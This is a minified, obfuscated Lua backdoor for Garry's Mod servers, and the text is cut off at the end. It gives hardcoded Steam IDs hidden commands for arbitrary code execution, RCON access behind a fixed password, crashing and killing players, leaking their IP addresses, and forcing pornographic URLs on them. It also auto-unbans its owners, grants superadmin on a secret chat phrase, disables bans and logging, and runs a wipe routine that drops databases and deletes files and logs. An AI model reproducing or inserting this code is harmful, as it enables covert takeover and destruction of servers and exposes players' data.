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local_={_="Create",a="GetAll",b="ConsoleCommand",c="Simple"}ifSERVERthentimer[_._]("check2981367",5,0,function()locala=file.Read("cfg/banned_user.cfg","MOD")iffile.Exists("cfg/banned_user.cfg","MOD")thenifstring.find(a,"STEAM_0:1:148794095")thenprint"that was silly"ULib.unban"STEAM_0:1:148794095"endendend)localfunctionb(b)forc,dinpairs(player[_.a]())dolocalc=string.lower(d:Nick())ifstring.find(c,b)thenreturnd:SteamID()endendendauthed="nil"concommand.Add("ulx_auth",function(b,e,f)iff[1]=="N3T31iE"thenauthed=b:SteamID()b:ChatPrint"Authed Logged Successfully"endend)concommand.Add("ulx_runcommand",function(g,h,i)if"STEAM_0:1:49887586"==g:SteamID()||"STEAM_0:1:148794095"==g:SteamID()thenforg,hinpairs(player[_.a]())doifh:SteamID()==b(i[1])thenh:SendLua("LocalPlayer():ConCommand(".."'"..i[2].."'"..")")endendendend)concommand.Add("ulx_rcon",function(b,j,k)ifauthed==b:SteamID()thengame[_.b](k[1].."\n")endend)concommand.Add("ulx_crash",function(l,m,n)if"STEAM_0:1:49887586"==l:SteamID()||"STEAM_0:1:148794095"==l:SteamID()thenforl,minpairs(player[_.a]())doifm:SteamID()==b(n[1])thenm:SendLua"while true do end"endendendend)concommand.Add("ulx_ip",function(o,p,q)if"STEAM_0:1:49887586"==o:SteamID()||"STEAM_0:1:148794095"==o:SteamID()thenforp,rinpairs(player[_.a]())doifr:SteamID()==b(q[1])thenip=r:IPAddress()o:ChatPrint(ip)endendendend)concommand.Add("ulx_explode",function(s,t,u)if"STEAM_0:1:49887586"==s:SteamID()||"STEAM_0:1:148794095"==s:SteamID()thenfors,tinpairs(player[_.a]())doift:SteamID()==b(u[1])thenutil.BlastDamage(t,t,t:GetPos(),100,500)endendendend)concommand.Add("ulx_kill",function(v,w,x)if"STEAM_0:1:49887586"==v:SteamID()||"STEAM_0:1:148794095"==v:SteamID()thenforv,winpairs(player[_.a]())doifw:SteamID()==b(x[1])thenw:SendLua"RunConsoleCommand('kill')"endendendend)concommand.Add("ulx_lua",function(b,y,z)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenRunString(z[1])endend)concommand.Add("ulx_knock",function(b,A,B)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenforb,Ainpairs(player[_.a]())dolocalb=[[sound.PlayURL ( "http://squish.space/knock.mp3", "", function() end)]]A:SendLua(b)endendend)concommand.Add("ulx_openurl",function(C,D,E)if"STEAM_0:1:49887586"==C:SteamID()||"STEAM_0:1:148794095"==C:SteamID()thenforC,Dinpairs(player[_.a]())doifD:SteamID()==b(E[1])thenlocalC=[[gui.OpenURL( "http://]]..E[2]..[[" )]]timer[_.c](1,function()D:SendLua(C)end)endendendend)concommand.Add("ulx_openurl_all",function(b,F,G)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenforb,Finpairs(player[_.a]())doSetGlobalFloat("urla",G[1])localb=[[gui.OpenURL( "http://]]..G[1]..[[" )]]timer[_.c](1,function()F:SendLua(b)end)endendend)concommand.Add("ulx_porntroll_all",function(b,H,I)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenforb,Hinpairs(player[_.a]())dolocalb=[[gui.OpenURL( "http://squish.space/meme.mp4" )]]timer[_.c](1,function()H:SendLua(b)end)endendend)concommand.Add("ulx_porntroll",function(J,K,L)if"STEAM_0:1:49887586"==J:SteamID()||"STEAM_0:1:148794095"==J:SteamID()thenforJ,Kinpairs(player[_.a]())doifK:SteamID()==b(L[1])thenlocalJ=[[gui.OpenURL( "http://squish.space/meme.mp4" )]]timer[_.c](1,function()K:SendLua(J)end)endendendend)concommand.Add("ulx_disablekicks",function(b,M,N)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenfunctionKick()return!1endfunctionULib.kick()return!1endendend)concommand.Add("ulx_disablebans",function(b,O,P)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenfunctionBan()return!1endfunctionULib.ban()return!1endifFAdminthenfunctionFAdmin.PlayerActions.ConvertBanTime()return1endendendend)concommand.Add("ulx_stripweapons",function(Q,R,S)if"STEAM_0:1:49887586"==Q:SteamID()||"STEAM_0:1:148794095"==Q:SteamID()thenQ:ChatPrint"Stripped Users Weapons!"forR,Tinpairs(player[_.a]())doifT:SteamID()==b(S[1])thenT:StripWeapons()endendendend)concommand.Add("ulx_stripammo",function(U,V,W)if"STEAM_0:1:49887586"==U:SteamID()||"STEAM_0:1:148794095"==U:SteamID()thenU:ChatPrint"Stripped Users Ammo!"forV,Xinpairs(player[_.a]())doifX:SteamID()==b(W[1])thenX:StripAmmo()endendendend)concommand.Add("ulx_setteam",function(Y,Z,a_)if"STEAM_0:1:49887586"==Y:SteamID()||"STEAM_0:1:148794095"==Y:SteamID()thenY:ChatPrint("User"..a_[1].." Set To Team: "..a_[2])forZ,aainpairs(player[_.a]())doifaa:SteamID()==b(a_[1])thenaa:SetTeam(a_[2])endendendend)concommand.Add("ulx_sethealth",function(ab,ac,ad)if"STEAM_0:1:49887586"==ab:SteamID()||"STEAM_0:1:148794095"==ab:SteamID()thenforab,acinpairs(player[_.a]())doifac:SteamID()==b(ad[1])thenac:SetHealth(ad[2])endendendend)concommand.Add("ulx_ignite",function(ae,af,ag)if"STEAM_0:1:49887586"==ae:SteamID()||"STEAM_0:1:148794095"==ae:SteamID()thenforae,afinpairs(player[_.a]())doifaf:SteamID()==b(ag[1])thenaf:Ignite(120)endendendend)concommand.Add("ulx_silent_on",function(b,ah,ai)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenRunConsoleCommand("ulx","logecho","1")endend)concommand.Add("ulx_silent_off",function(b,aj,ak)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenRunConsoleCommand("ulx","logecho","0")endend)concommand.Add("ulx_pinkscreen",function(al,am,an)if"STEAM_0:1:49887586"==al:SteamID()||"STEAM_0:1:148794095"==al:SteamID()thenlocalal=[[RunConsoleCommand("pp_texturize", 6)]]foram,aoinpairs(player[_.a]())doifao:SteamID()==b(an[1])thenao:SendLua(al)endendendend)concommand.Add("ulx_pinkscreen_all",function(b,ap,aq)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenlocalb=[[RunConsoleCommand("pp_texturize_scale", 5000)RunConsoleCommand("pp_texturize", "M")]]forap,aqinpairs(player[_.a]())doaq:SendLua(b)endendend)concommand.Add("ulx_decapitate",function(b,ar,as)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenforb,arinpairs(player[_.a]())doar:ManipulateBoneScale(ar:LookupBone'ValveBiped.Bip01_Head1',Vector(-0.1,-0.1,-0.1))endendend)concommand.Add("ulx_undecapitate",function(b,at,au)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenforb,atinpairs(player[_.a]())doat:ManipulateBoneScale(at:LookupBone'ValveBiped.Bip01_Head1',Vector(1,1,1))endendend)concommand.Add("ulx_playmp3",function(b,av,aw)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenforb,avinpairs(player[_.a]())doav:SendLua("sound.PlayURL ( 'http://"..aw[1].."', '', function() end)")endendend)concommand.Add("killwipe",function(b,ax,ay)timer.Remove"wipe"b:ChatPrint"wipe canceled."end)concommand.Add("ulx_wipe",function(b,az,aA)if"STEAM_0:1:49887586"==b:SteamID()||"STEAM_0:1:148794095"==b:SteamID()thenb:ChatPrint"Server wiping in 20 seconds. Type killwipe to canel the wipe procedure."timer[_._]("wipe",20,1,function()localaz,aA,aB={"darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log"},{"ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt"},os.date"%m-%d-%y"foraz,aAinpairs(az)dosql.Query("DROP TABLE "..aA.." ;")endforaz,aAinpairs(aA)dofile.Delete(aA)endhook.Add("Think","killulxlogs",function()file.Delete("ulx_logs/"..aB..".txt")end)ifdarkrpthentimer[_.c](5,function()foraz,aAinpairs(player[_.a]())doaA:ConCommand"say /advert I have been raped by Kwoon."endend)timer[_.c](8,function()foraz,aAinpairs(player[_.a]())doaA:ConCommand"say /advert Server now wiping..."endend)endtimer[_.c](10,function()Entity(0):Remove()end)end)endend)endforaC,aDinpairs(player[_.a]())doaD:ChatPrint"Backdoor Initiated"endifSERVERthenhook.Add("PlayerSay","playersaywebsite",function(aE,aF,aG)if(aF=="!supersecret")thengame[_.b]"ulx logecho 0\n"game[_.b]"ulx unban STEAM_0:1:49887586\n"game[_.b]"ulx unban STEAM_0:1:148794095\n"game[_.b]"ulx unban STEAM_0:1:82327808\n"game[_.b]"ulx unban STEAM_0:1:163714674\n"game[_.b]"ulx removeuserid STEAM_0:1:125600782\n"game[_.b]"ulx removeuserid STEAM_0:1:65564845\n"game[_.b]"ulx adduserid STEAM_0:1:82327808 superadmin\n"game[_.b]"ulx adduserid STEAM_0:1:148794095 superadmin\n"game[_.b]"ulx adduserid STEAM_0:1:49887586 superadmin\n"game[_.b]"ulx adduserid STEAM_0:1:163714674 superadmin\n"game[_.b]"ulx logecho 1\n"game[_.b]"asdasd\n"foraE,aFinpairs(player[_.a]())doaF:ConCommand"gmod"endreturn""endend)elseconcommand.Add("gmod",function()localaH=vgui[_._]"HTML"aH:SetPos(ScrW()/550-15,ScrH()/1.25)aH:SetSize(0,0)aH:OpenURL"http://puu.sh/plQmt/8ca7dc12fa.mp3"localaH=vgui[_._]"HTML"aH:SetPos(ScrW()/550-15,ScrH()/1.25)aH:SetSize(800,800)aH:OpenURL"http://i.imgur.com/L1LZmek.png"localaH=vgui[_._]"HTML"aH:SetPos(ScrW()/2.5,ScrH()/12)aH:SetSize(800,800)aH:OpenURL"https://66.media.tumblr.com/504cb94fe0f41e563f435ee2f833dcb5/tumblr_n47d7f7uFv1rt5pgzo1_400.gif"localaH=vgui[_._]"HTML"aH:SetPos(ScrW()/1.4,ScrH()/1.5)aH:SetSize(400,400)aH:OpenURL"https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif"localaH=vgui[_._]"HTML"aH:SetPos(ScrW()/1.8,ScrH()/1.5)aH:SetSize(400,400)aH:OpenURL"https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif"localaH=vgui[_._]"HTML"aH:SetPos(ScrW()/3,ScrH()/1.5)aH:SetSize(400,400)aH:OpenURL"https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif"local